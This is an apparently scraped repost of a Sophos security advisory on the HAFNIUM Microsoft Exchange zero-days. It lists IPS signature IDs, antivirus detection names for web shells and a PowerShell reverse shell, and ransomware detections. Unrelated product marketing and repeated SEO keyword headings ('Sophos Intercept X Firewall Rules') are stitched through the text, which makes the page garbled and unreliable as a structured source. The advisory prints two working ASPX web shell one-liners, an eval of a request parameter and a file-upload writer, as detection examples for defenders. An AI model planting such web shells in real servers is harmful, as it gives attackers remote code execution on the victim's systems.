Earlier this week, we announced the launch of the latest version of Intercept X, our industry-leadingnext-gen endpoint product. We met with Dan Schiappa, Senior Vice President and General Manager of Products at Sophos, to delve deeper into what makes Intercept X the ultimate in endpoint protection. Sophos Firewall is part of the world’s best cybersecurity ecosystem, enabling you to easily extend your network, protection, and team capabilities. A policy is a set of options (for example, settings for malware protection) that Sophos Central applies to protected users, devices, servers, or networks. Intercept X with EDR. Sophos Endpoint Detection and Response (EDR) lets you investigate detected threats (“threat cases”) and search for new threats. Sophos ZTNA is fully compatible with XG Firewall and Sophos Intercept X. In fact, it takes advantage of Security Heartbeat to assess device health which can be used in ZTNA policies. As mentioned above, deployment of the ZTNA client can easily happen as part of a CIX roll-out – it’s as simple as checking a box.
- Sophos Intercept X Firewall Rules
- Sophos Intercept X Firewall Software
- Sophos Intercept X Windows Firewall
- Sophos Central Intercept X Firewall Ports
Four new zero-day vulnerabilities affecting Microsoft Exchange are being actively exploited in the wild by HAFNIUM, a threat actor believed to be a nation state.
Anyone running on-premises Exchange Servers should patch them without delay, and search their networks for indicators of attack.
Sophos protections against HAFNIUM
Sophos MTR, network and endpoint security customers benefit from multiple protections against the exploitation of the new vulnerabilities.
Sophos MTR
The Sophos MTR team has been monitoring our customer environments for behaviors associated with these vulnerabilities since their announcement. If we identify any malicious activity related to these vulnerabilities, we will create a case and be in touch with you directly.
Sophos Firewall
IPS signatures for customers running SFOS and XFOS:
CVE | SID |
CVE-2021-26855 | 57241, 57242, 57243, 57244, 2305106, 2305107 |
CVE-2021-26857 | 57233, 57234 |
CVE-2021-26858 | 57245, 57246 |
CVE-2021-27065 | 57245, 57246 |
These signatures are also present on the Endpoint IPS in Intercept X Advanced.
IPS signatures for customers running Sophos UTM:
CVE | SID |
CVE-2021-26855 | 57241, 57242, 57243, 57244 |
CVE-2021-26857 | 57233, 57234 |
CVE-2021-26858 | 57245, 57246 |
CVE-2021-27065 | 57245, 57246 |
If you see these detection names on your networks you should investigate further and remediate.
Sophos Intercept X Advanced and Sophos Antivirus (SAV)
Customers can monitor the following AV signatures to identify potential HAFNIUM attacks:
Sophos Intercept X Firewall Rules
Web shell related
- Troj/WebShel-L
- Troj/WebShel-M
- Troj/WebShel-N
- Troj/ASPDoor-T
- Troj/ASPDoor-U
- Troj/ASPDoor-V
- Troj/AspScChk-A
- Troj/Bckdr-RXD
- Troj/WebShel-O
- Troj/WebShel-P
Other payloads
- Mal/Chopper-A
- Mal/Chopper-B
- ATK/Pivot-B
- AMSI/PowerCat-A (Powercat)
- AMSI/PSRev-A (Invoke-PowerShellTcpOneLine reverse shell)
Due to the dynamic nature of the web shells, the shells are blocked but need to be removed manually. If you see these detection names on your networks you should investigate further and remediate.
We have also blocked relevant C2 IP destinations, where it was safe to do so.
In addition, the “lsass dump” stages of the attack are blocked by the credential protection (CredGuard) included in all Intercept X Advanced subscriptions.
Sophos EDR
Sophos EDR customers can leverage pre-prepared queries to identify potential web shells for investigation:
When reviewing the potential web shells identified by the queries, the web shell will typically appear inside an Exchange Offline Address Book (OAB) configuration file, in the ExternalUrl field. E.g.
ExternalUrl : http://f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“key-here”],”unsafe”);}</script>
ExternalUrl: http://g/<script Language=”c#” runat=”server”>void Page_Load(object sender, EventArgs e){if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(“error.aspx”));}}</script>
Sophos Intercept X Firewall Software
Identifying signs of compromise
Sophos Intercept X Windows Firewall
The Sophos MTR team has published a step-by-step guide on how to search your network for signs of compromise.
Sophos Central Intercept X Firewall Ports
DearCry ransomware


The actors behind DearCry ransomware are using the same vulnerabilities as the Hafnium group in their attacks. Sophos Intercept X detects and blocks Dearcry via:
- Troj/Ransom-GFE
- CryptoGuard
Editor note: Post updated with addition of IPS signatures for Sophos UTM and additional detections. 2021-03-10 08:35 UTC
Editor note: Post updated with additional anti-malware signatures for Intercept X and Sophos Antvirus (SAV) 2021-03-11 14:30 UTC
Editor note: Post updated to advise that signatures are now present on the Endpoint IPS, and the addition of two further AV signatures 2021-03-12 09:10 UTC
Editor note: Post updated with DearCry ransomware detections 2021-03-12 16:30 UTC
